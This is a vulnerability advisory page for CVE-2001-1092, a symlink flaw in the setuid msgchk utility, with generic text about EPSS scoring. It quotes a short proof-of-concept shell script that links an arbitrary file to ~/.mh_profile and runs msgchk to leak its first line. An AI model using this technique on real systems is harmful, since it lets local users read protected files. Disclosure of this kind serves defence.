CVE-2001-1092 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Because msgchk fails to check file permissions before opening user configuration files in the user's home directory, a symbolic link to a target file can permit a local user to read the first line of data contained in any file readable by the msgchk user. Where msgchk is run setuid root, this allows limited information to be read from any file on the host. ++ msgchkx.sh #!/bin/sh # truefinder, [email protected] # msgchk file read vulnerability if [ ! -f $1 ] then echo "usage : $0 <file path>" fi cd ~ ln -sf $1 ~/.mh_profile /usr/bin/mh/msgchk
